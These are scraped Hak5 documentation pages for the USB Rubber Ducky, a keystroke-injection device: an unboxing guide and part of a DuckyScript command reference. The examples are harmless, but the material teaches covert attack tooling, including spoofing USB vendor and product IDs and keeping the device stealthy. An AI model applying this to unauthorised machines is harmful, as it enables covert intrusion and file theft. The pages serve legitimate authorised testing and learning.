[_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/usb-rubber-ducky-by-hak5/#whats-new-in-duckyscript-30) ------------------------------------------------------------------------------------------------------------------------------------------- DuckyScript 1.0, developed by Hak5 in 2010, is a macro scripting language. It sequentially processes one of two actions: keystroke injection (type a set of keys), and delay (momentarily pause). These actions, written in what is known as a payload, instruct the USB Rubber Ducky on what to do. Either type, or pause. Over the years the DuckyScript language has evolved to include device specific commands. With the introduction of the Bash Bunny in 2017, DuckyScript was coupled with the shell scripting language BASH. Leveraging the Linux base, these DuckyScript payloads allowed the device to perform multi-vector USB attacks. Similarly, DuckyScript was included in the Shark Jack to probe Ethernet networks. The Key Croc uses DuckyScript 2.0 to execute a myriad of hotplug attacks based on live keylogging data. Even third party tools designed in partnership with Hak5 licensed DuckyScript — notably the O.MG Platform of malicious cables and adapters by Mischief Gadgets. With the new USB Rubber Ducky in 2022, DuckyScript 3.0 has been introduced. DuckyScript 3.0 is a feature rich, structured programming language. It includes all of the previously available commands and features of the original DuckyScript. Additionally, DuckyScript 3.0 introduces control flow constructs (if/then/else), repetition (while loops), functions, extensions. Plus, DuckyScript 3.0 includes many features specific to keystroke injection attack/automation, such as HID & Storage attack modes, Keystroke Reflection, jitter and randomization to name a few. This documentation will cover the basics, then introduce each of the new features such that they build upon one another. Legal [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/usb-rubber-ducky-by-hak5/#legal) -------------------------------------------------------------------------------------------- USB Rubber Ducky and DuckyScript are the trademarks of Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means without prior written permission from the copyright owner. USB Rubber Ducky and DuckyScript are subject to the [Hak5 license agreement](https://hak5.org/license) ([https://hak5.org/license](https://hak5.org/license) ) DuckyScript is the intellectual property of Hak5 LLC for the sole benefit of Hak5 LLC and its licensees. To inquire about obtaining a license to use this material in your own project, [contact us](https://support.hak5.org/) . Please report counterfeits and brand abuse to [legal@hak5.org](mailto:legal@hak5.org) . This material is for education, authorized auditing and analysis purposes where permitted subject to local and international laws. Users are solely responsible for compliance. Hak5 LLC claims no responsibility for unauthorized or unlawful use. Hak5 LLC products and technology are only available to BIS recognized license exception ENC favorable treatment countries pursuant to US 15 CFR Supplement No 3 to Part 740. * * * [DuckyScript™ Quick Reference _navigate\_next_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/) --- # Unboxing "Quack-Start" Guide | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Table of Contents _article_ Unboxing "Quack-Start" Guide ============================ warning **Before using your new USB Rubber Ducky** **please read this page start to finish****!** It will answer many of the questions you may already have and **set you up for success**! report **DO NOT FLASH.** The limited warranty does not cover damage caused by firmware flash. Flashing legacy or third-party firmware will render the device irrecoverable. The new USB Rubber Ducky is architected in conjunction with Payload Studio such that firmware flashing will never be required. Disregard articles related to the old USB Rubber Ducky and rely solely on the official documentation here at [docs.hak5.org](https://docs.hak5.org/) . Welcome to the USB Rubber Ducky — the king of Keystroke Injection! Within the hundred plus pages of this documentation you’ll uncover gems of DuckyScript 3.0 that will take your payloads to the next level. If you’re reading this soon after getting the device in hand, you’ll probably want to jump right in. To that end, these are the **top five tips for getting started!** ![USB Rubber Ducky unboxed](https://docs.hak5.org/hak5-usb-rubber-ducky/images/duckypackaging_quarterres.png) USB Rubber Ducky unboxed 1\. The button and Arming Mode are your friend [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#1-the-button-and-arming-mode-are-your-friend) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ When you first plug in the USB Rubber Ducky, it’ll show up on your computer as a regular flash drive with the label “_DUCKY_”. It may even be from the Getting Started link here that you’ve found this article. Welcome! When the USB Rubber Ducky shows up as a flash drive on the computer you’re using to set up the device, it’s what we call “_arming mode_”. From here you can “_arm_” a payload simply by replacing the `inject.bin` file (more on that in a moment) on the root of the _DUCKY_ drive. If you’re coming over from the classic USB Rubber Ducky, this process should sound familiar — except for the fact that you no longer need to use a MicroSD card reader to get access to the file system. If you copy over a classic DuckyScript payload — either in binary `inject.bin` format, or compiled from the new PayloadStudio (formerly called an encoder) the USB Rubber Ducky will dutifully execute the pre-programmed keystrokes. It will not however show up as a mass storage “_flash drive_” — so you may be wondering, how do I get it back into “_arming mode_”? ### Press the button [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#press-the-button) By default, if no other [`BUTTON_DEF`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/) is defined, pressing the button during or after payload execution will cause the USB Rubber Ducky to execute “[`ATTACKMODE STORAGE`](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/) ” — which is essentially “arming mode” (re-connect to the computer as a regular ol’ flash drive). report Only press the button **after** inserting the USB Rubber Ducky. Pressing or holding the button _while inserting_ the device will not result in arming mode (ATTACKMODE STORAGE). You’ll absolutely want to familiarize yourself with the chapter on [The Button](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/) , as well as [Attack Modes](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/) to make the best use of DuckyScript 3.0 — but if you just want to jump into trying out payloads, this is handy to know. While you can always get to the filesystem of the USB Rubber Ducky by removing the MicroSD card and using a card reader, knowing this important nuance of the new USB Rubber Ducky design will save you _a lot of time_ in development. You may even consider adding a convenient `ATTACKMODE HID STORAGE` to the beginning of your payloads, or even just `ATTACKMODE STORAGE` followed by `WAIT_FOR_BUTTON_PRESS` before going into a HID attack using `ATTACKMODE HID` — just to keep access convenient. And if you want even more convenient access to arming mode, you’ll absolutely want to perform the next hack! 2\. Mod the case for a squeeze-to-press button [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#2-mod-the-case-for-a-squeeze-to-press-button) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ So how do you press the button if it’s inside the case? We noodled in this one in development for quite some time. Everything from pin-holes and jumpers to magnets were considered… Then, an extremely elegant solution was found. Layer stickers inside the case above the button so you could squeeze to press. So, why a **mod** to enable access to the button? * optional * reversable * retains stealth even when enabled * adjustable to your liking * retains compatibility with cases of the same design ([like these colored ones!](https://shop.hak5.org/products/usb-rubber-ducky-multi-color-cases) ) Don’t need the button on your deployment? Don’t do the mod. Want more or less clickiness? Layer more or fewer spacer stickers. It’s _surprisingly_ effective, and goes absolutely unnoticed if you’re not aware it’s there. So, here’s how to perform the mod. For this open-case duck surgery you’re going to need: 1. New USB Rubber Ducky 2. Its included sticker sheet 3. Pick or pry tool (author admits he uses a fingernail) ### Step One: Open the case [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#step-one-open-the-case) Remove the metal sheath and the USB-C cap, then carefully separate the top and bottom plastics at the seam. The top and bottom are held together with matching ports and posts. With the PCB seated button-side-up in one half of the case, line up the other side of the case such that you can see where the button lines up with the case. The case may be more difficult to open the first time doing so. A pry tool that can aid in making the job easier. info **We suggest keeping the microSD card that comes with the USB Rubber Ducky**. The smaller size helps reduce boot time. Keeping many files on or swapping the microSD card for a larger capacity one may decrease the speed at which you can deploy a payload. ### Step Two: Apply the spacer stickers [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#step-two-apply-the-spacer-stickers) “Rain-drop” sticker cutouts can be found along the right side of the sticker sheet. Apply two to four layers of the sticker on the inside of the case opposite of the button. The more layers you apply, the easier it will be to squeeze-to-press; 2 or 3 should suffice, however, test and adjust to your liking. ![USB Rubber Ducky with sticker mod](https://docs.hak5.org/hak5-usb-rubber-ducky/images/duckybuttonmod_quarter.png) USB Rubber Ducky with sticker mod info In the event you’ve lost the included sticker sheet or need to replace/reenable your button mod, any sticker cut down to the appropriate size should do the trick. The number of layers required will vary depending on the thickness of the sticker material you use. See the picture below for reference. ### Step Three: Reassemble the case [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#step-three-reassemble-the-case) With the “rain-drop” sticker cutouts in place, carefully align the plastics such that the ports match the posts. Reassemble, then give the duck a test squeeze to verify the button press. Place the metal sheath back on the device, and you’re in business! warning **Avoid applying** **too many** **stickers** - this may cause the button to be permanently depressed with the case reassembled 😔 3\. Get familiar with PayloadStudio [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#3-get-familiar-with-payloadstudio) -------------------------------------------------------------------------------------------------------------------------------------------------------- Encoding payloads for the USB Rubber Ducky has come a long way. If you’ve been with the project since 2010, you may remember having to use a java-based command line utility. Later on a JavaScript web encoder came along. Today, writing and compiling payloads couldn’t be easier thanks to [PayloadStudio](https://payloadstudio.hak5.org/) — a full-featured IDE (Integrated Development Environment) for the USB Rubber Ducky, _as well as its payload-platform siblings in the Hak5 arsenal!_ info PayloadStudio is the **only** officially supported DuckyScript encoder. See the [PayloadStudio Docs](https://docs.hak5.org/payload-studio) for more details ![Payload Studio getting started tour](https://docs.hak5.org/hak5-usb-rubber-ducky/images/Screenshot%20from%202023-06-08%2015-25-45.png) Payload Studio getting started tour You can customize the experience from the settings menu, which includes dozens of light and dark themes to please the eyes. If you want to take it to the next level, consider [unlocking the Pro features](https://hak5.org/products/payload-studio-pro) for advanced debugging, live error checking, payload tips, keybindings, compiler optimizations and a ton more! When you’re ready to compile your first DuckyScript, click **Generate Payload** to compile and download the `inject.bin`. The console will open providing valuable insights. Copy the inject.bin file on the root of the “_DUCKY_” storage (replacing any existing file) and you’re off to the races! check\_circle To get started, head over to [https://PayloadStudio.Hak5.org](https://payloadstudio.hak5.org/) and try out Community Edition. It’s pre-configured with the most commonly used IDE settings like auto-complete, syntax highlighting and more. 4\. Dig into the docs and plethora of payloads [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#4-dig-into-the-docs-and-plethora-of-payloads) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ These docs, or the e-book that’s generated from it, contain the entire DuckyScript 3.0 language. Throughout the pages on each concept and command you’ll find practical examples along with the results should you run the example as a payload. You’re encouraged to try them out for yourself. ### Crash Course [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#crash-course) If you’re looking to run your first payload right away and just want a crash course on the absolute bare bone basics to simply inject keystrokes, you can skip to [Hello, World!](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/) (which teaches classic DuckyScript in one example) along with familiarizing yourself with [The Button](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/) we mentioned earlier (hello convenient arming mode!) and the subtleties of [Attack Modes](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/) . info Read more about the [**payload development workflow here**](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/#testing-your-payload) ### Classic Payloads [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#classic-payloads) You’re going to find a ton of DuckyScript classic payloads in the [Hak5 repos](https://github.com/hak5/usbrubberducky-payloads) and highlighted on [PayloadHub](https://payloads.hak5.org/) — so here are two important things to note when using a classic DuckyScript payload on a new USB Rubber Ducky: #### Payloads without ATTACKMODE [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#payloads-without-attackmode) Classic DuckyScript didn’t have an `ATTACKMODE` command. In order to be backwards compatible with the thousands of payloads floating around the web, DuckyScript 3.0 automatically assumes `ATTACKMODE HID` if none is present. #### Default button behavior [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#default-button-behavior) While the original USB Rubber Ducky featured a button, it was _only_ used to restart a payload. That means if you run a classic DuckyScript payload on your new USB Rubber Ducky, the button is going to assume the default behavior. That is to say, pressing it at any time is going to stop any keystroke injection and re-enumerate on the target as a standard “flash drive”, giving you access to the DUCKY mass storage. 5\. Meet fellow Ducky hackers in the community [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide/#5-meet-fellow-ducky-hackers-in-the-community) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ You’re not alone in your keystroke injection conquest! Fellow hackers from all over the world have taken up arms with the USB Rubber Ducky for well over a decade, and they’re just about the friendliest bunch you’ve ever met. The Hak5 community is host to some of the most creative hackers on the planet, and you’re encouraged to join ’em. We host a [discord server](https://community.hak5.org/) with channels dedicated to the USB Rubber Ducky and PayloadStudio — and you’ll often run into the Hak5 developers themselves here. Similarly, the [Hak5 forums](https://forums.hak5.org/) has been going strong since 2005 — so be sure to check out the USB Rubber Ducky sub forum for payload tips and tricks! * * * [_navigate\_before_ DuckyScript™ Quick Reference](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/) [Hello, World! _navigate\_next_](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world/) --- # DuckyScript™ Quick Reference | Hak5 - USB Rubber Ducky [](https://docs.hak5.org/hak5-usb-rubber-ducky/) menu search Search Enable dark mode Enable light mode * to navigate * to select * to close cancel On this page Table of Contents _article_ DuckyScript™ Quick Reference ============================ ![](https://docs.hak5.org/hak5-usb-rubber-ducky/images/Screencast%20from%2003-03-2023%2001_08_58%20PM.gif) [Shop Compatible Devices](https://shop.hak5.org/) check\_circle DuckyScript™ officially licensed and supported devices are backwards compatible with previous versions, excluding any device specific functionality. _E.g. DuckyScript™ 1.0 payloads written for the USB Rubber Ducky **are valid DuckyScript™ 3.0**\*\* \*\***and will function on the New USB Rubber Ducky without modification**_ | DuckyScript™ Version | Device Compatibility | | --- | --- | | 1.0 | Original USB Rubber Ducky (USB-A Only) | | 2.X | [Bash Bunny](https://docs.hak5.org/bash-bunny/)
, [Key Croc](https://docs.hak5.org/key-croc/)
, [Packet Squirrel](https://docs.hak5.org/packet-squirrel/)
, [LAN Turtle](https://docs.hak5.org/lan-turtle/)
, [Shark Jack](https://docs.hak5.org/shark-jack/)
, [O.MG Devices](https://docs.hak5.org/hak5-docs/#omg) | | 3.0 | New USB Rubber Ducky (USB-A & USB-C) | report _DuckyScript_™ _includes commands/syntax which only work on some devices. For example, `MATCH` and `SAVEKEYS` are DuckyScript™ commands which are only for_ [_Key Croc_](https://docs.hak5.org/key-croc/) _payloads and will not work on other devices._ report **Hak5 does NOT guarantee payload functionality for unlicensed device’s, or payloads NOT compiled using** [**Hak5 PayloadStudio**](https://payloadstudio.hak5.org/) [Hak5 Payload Hub - Featured Payloads & home of the Hak5 Payload Awards](https://hak5.org/blogs/payloads) [Contribute and browser payloads on GitHub](https://github.com/hak5) [Take your DuckyScript™ payloads to the next level with this full-featured, web-based development environment.](https://payloadstudio.hak5.org/login/) [Comments](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#comments) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [`REM`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#rem) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#rem) The `REM` command does not perform any keystroke injection functions. `REM` gets its name from the word remark. While `REM` may be used to add vertical spacing within a payload, blank lines are also acceptable and will not be processed by the compiler. REM This is a comment ### [`REM_BLOCK`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/comments/#rem_block) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#rem_block) Defining a comment block is simple! Start the comment with `REM_BLOCK` and end the comment with `END_REM`; everything in between will be considered a comment without the need to prepend every new line with `REM`. Comment blocks can be especially useful when you have multiple lines to be included in a single comment or want to retain formatting. REM_BLOCK DOCUMENTATION USAGE: Place at beginning of payload (besides ATTACKMODE) to act as dynamic boot delay TARGETS: Any system that reflects CAPSLOCK will detect minimum required delay Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms END_REM [Keystroke Injection](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#keystroke-injection) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [`STRING`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#string) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#string) The `STRING` command keystroke injects (types) a series of keystrokes. `STRING` will automatically interpret uppercase letters by holding the `SHIFT` modifier key where necessary. The `STRING` command will also automatically press the SPACE cursor key, however trailing spaces will be omitted. STRING The quick brown fox jumps over the lazy dog ### [`STRINGLN`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#stringln) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#stringln) The `STRINGLN` command, like `STRING`, will inject a series of keystrokes then terminate with a carriage return (`ENTER`). STRINGLN _ _ _ USB _ _ _ STRINGLN __(.)< __(.)> __(.)= Rubber >(.)__ <(.)__ =(.)__ STRINGLN \___) \___) \___) Ducky! (___/ (___/ (___/ ### [`STRING Blocks`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#string-and-stringln-blocks) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#string-blocks) #### [`STRING Blocks`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#string-blocks) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#string-blocks-1) `STRING` blocks can be used effectively to convert multiple lines into one without needing to prepend each line with `STRING` warning `STRING` blocks strip leading white space and ignore new lines! STRING a b c END_STRING is the equivalent of STRING a STRING b STRING c Or in this case: `STRING abc` #### [`STRINGLN Blocks`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#stringln-blocks) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#stringln-blocks) `STRINGLN` blocks can be used like [here-doc](https://en.wikipedia.org/wiki/Here_document) ; allowing you to inject multiple lines **as they are written in the payload.** warning `STRINGLN` blocks strip the first tab but will preserve all other formatting STRINGLN a b c END_STRINGLN is the equivalent of STRINGLN a STRINGLN b STRINGLN c #### Result [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#result) Deploying this payload will produce the following keystroke injection on the target machine: a b c ### [Cursor Keys](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#cursor-keys) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#cursor-keys) The cursor keys are used to navigate the cursor to a different position on the screen. > `UP` `DOWN` `LEFT` `RIGHT` > > `UPARROW` `DOWNARROW` `LEFTARROW` `RIGHTARROW` > > `PAGEUP` `PAGEDOWN` `HOME` `END` > > `INSERT` `DELETE` `DEL` `BACKSPACE` > > `TAB` > > `SPACE` ### [System Keys](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#system-keys) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#system-keys) System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. > `ENTER` > > `ESCAPE` > > `PAUSE BREAK` > > `PRINTSCREEN` > > `MENU APP` > > `F1` `F2` `F3` `F4` `F5` `F6` `F7` `F8` `F9` `F0` `F11` `F12` ### [Basic Modifier Keys](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#basic-modifier-keys) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#basic-modifier-keys) Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar `CTRL c` for copy, `CTRL x` for cut, and `CTRL v` for paste. > `SHIFT` > > `ALT` > > `CONTROL` or `CTRL` > > `COMMAND` > > `WINDOWS` or `GUI` REM Windows Modifier Key Example REM Open the RUN Dialog GUI r REM Close the window ALT F4 ### [Key and Modifier Combos](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#key-and-modifier-combos) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#key-and-modifier-combos) In addition to the basic modifier key combinations, such as `CTRL c`, modifiers and keys may be combined arbitrarily. > `CTRL SHIFT` > > `ALT SHIFT` > > `COMMAND CTRL` > > `COMMAND CTRL SHIFT` > > `COMMAND OPTION` > > `COMMAND OPTION SHIFT` > > `CONTROL ALT DELETE` CTRL ALT DELETE ### [Standalone Modifier Keys](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#standalone-modifier-keys) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#standalone-modifier-keys) Injecting a modifier key alone without another key — such as pressing the `WINDOWS` key — may be achieved by prepending the modifier key with the `INJECT_MOD` command. REM Example pressing Windows key alone INJECT_MOD WINDOWS ### [Lock Keys](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection/#lock-keys) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#lock-keys) Lock keys toggle the lock state (on or off) and typically change the interpretation of subsequent keypresses. For example, caps lock generally makes all subsequent letter keys appear in uppercase. > `CAPSLOCK` > > `NUMLOCK` > > `SCROLLOCK` [Delays](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/delays/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#delays) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [`DELAY`](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/delays/#delay) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#delay) The `DELAY` command instructs the USB Rubber Ducky to momentarily pause execution of the payload. This is useful when deploying a payload which must “wait” for an element — such as a window — to load. The `DELAY` command accepts the time parameter in milliseconds. DELAY for 100 milliseconds (one tenth of a second) DELAY 100 report The minimum delay value is 20. The `DELAY` command may also accept an integer variable. VAR $WAIT = 500 DELAY $WAIT warning `DELAY` timings might differ slightly depending on the `ATTACKMODE` the USB Rubber Ducky is in when executing the `DELAY` and depending on the target host. [The Button](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#the-button) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- By default, if no other button command is currently in use, pressing the button during payload execution will make the USB Rubber Ducky stop any further keystroke injection. It will then become an ordinary USB flash drive, commonly referred to as “arming mode”. ### [`WAIT_FOR_BUTTON_PRESS`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/#wait_for_button_press) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#wait_for_button_press) Halts payload execution until a button press is detected. When this command is reached in the payload, no further execution will occur. STRING Press the button... WAIT_FOR_BUTTON_PRESS STRING The button was pressed! ### [`BUTTON_DEF`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/#button_def) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#button_def) The `BUTTON_DEF` command defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the `WAIT_FOR_BUTTON_PRESS` command or other such function. BUTTON_DEF STRINGLN The button was pressed. END_BUTTON STRINGLN Press the button with the next 10 seconds DELAY 10000 ### [`DISABLE_BUTTON`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/#disable_button) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#disable_button) The `DISABLE_BUTTON` command prevents the button from calling the `BUTTON_DEF`. ### [`ENABLE_BUTTON`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-button/#enable_button) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#enable_button) The `ENABLE_BUTTON` command allows pressing the button to call the `BUTTON_DEF`. [The LED](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-led/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#the-led) ------------------------------------------------------------------------------------------------------------------------------------------------------------------- The USB Rubber Ducky includes an LED which may be helpful when deploying certain payloads where feedback is important. ### [`LED_OFF`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-led/#led_off) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#led_off) The `LED_OFF` command will disable all LED modes. ### [`LED_R`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-led/#led_r) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#led_r) The `LED_R` command will enable the red LED. ### [`LED_G`](https://docs.hak5.org/hak5-usb-rubber-ducky/button/the-led/#led_g) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#led_g) The `LED_G` command will enable the green LED. [ATTACKMODE](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#attackmode) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ An attack mode is the device type that a USB Rubber Ducky, is functioning as or emulating. If no `ATTACKMODE` command is specified as the first command (excluding `REM`), the `HID` attack mode will execute, allowing the device to function as a keyboard. The `ATTACKMODE` command may be run multiple times within a payload, which may cause the device to be re-enumerated by the target if the attack mode changes. ### Required Parameters [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#required-parameters) | ATTACKMODE Parameter | Description | | --- | --- | | `HID` | Functions as a Human Interface Device, or Keyboard, for keystroke injection. | | `STORAGE` | Functions as USB Mass Storage, or a Flash Drive, for copying files to/from the target. | | `HID STORAGE` | Functions as both USB Mass Storage and Human Interface Device | | `OFF` | Will not function as any device. May be used to disconnect the device from the target. | ATTACKMODE HID STORAGE REM The USB Rubber Ducky will act as both a flash drive and keyboard ### Optional Parameters [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#optional-parameters) info When using these optional parameters, `VID` and `PID` must be used as a set. Further, `MAN`, `PROD` and `SERIAL` must also be used as a set. | ATTACKMODE Parameter | Description | | --- | --- | | `VID_` | Vendor ID (16-bit HEX) | | `PID_` | Product ID (16-bit HEX) | | `MAN_` | Manufacturer (32 alphanumeric characters) | | `PROD_` | Product (32 alphanumeric characters) | | `SERIAL_` | Serial (12 digits) | ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337 REM Emulated a Keyboard with the following values: REM - Vendor ID: 046D REM - Product ID: C31C REM - Manufacturer: HAK5 REM - Product: DUCKY REM - Serial: 1337 ### [`SAVE_ATTACKMODE`](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/#save_attackmode) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#save_attackmode) The `SAVE_ATTACKMODE` command will save the currently running `ATTACKMODE` state (including any specified `VID`, `PID`, `MAN`, `PROD` and `SERIAL` parameters) such that it may be later restored. ### [`RESTORE_ATTACKMODE`](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes/#restore_attackmode) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#restore_attackmode) The `RESTORE_ATTACKMODE` command will restore a previously saved `ATTACKMODE` state. ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337 DELAY 2000 SAVE_ATTACKMODE STRING Hello ATTACKMODE OFF DELAY 5000 RESTORE_ATTACKMODE DELAY 2000 STRING , World! [Constants](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/constants/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#constants) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [`DEFINE`](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/constants/#define) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#define) The `DEFINE` command is used to define a constant. One may consider the use of a `DEFINE` within a payload like a find-and-replace at time of compile. DEFINE #WAIT 2000 DEFINE #TEXT Hello World DEFINE #MYURL example.com DELAY #WAIT STRINGLN #TEXT STRING https://#MYURL [Variables](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/variables/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#variables) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [`VAR`](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/variables/#var) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#var) The `VAR` command will initiate a variable. Unlike constants, variables begin with a dollar sign ("`$`"). Variables contain unsigned integers with values from 0 to 65535. Booleans may be represented as well, either by `TRUE`/`FALE` or any non-zero number and `0` respectively. VAR $BLINK = TRUE VAR $BLINK_TIME = 1000 [Operators](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators/) [_link_](https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/#operators) 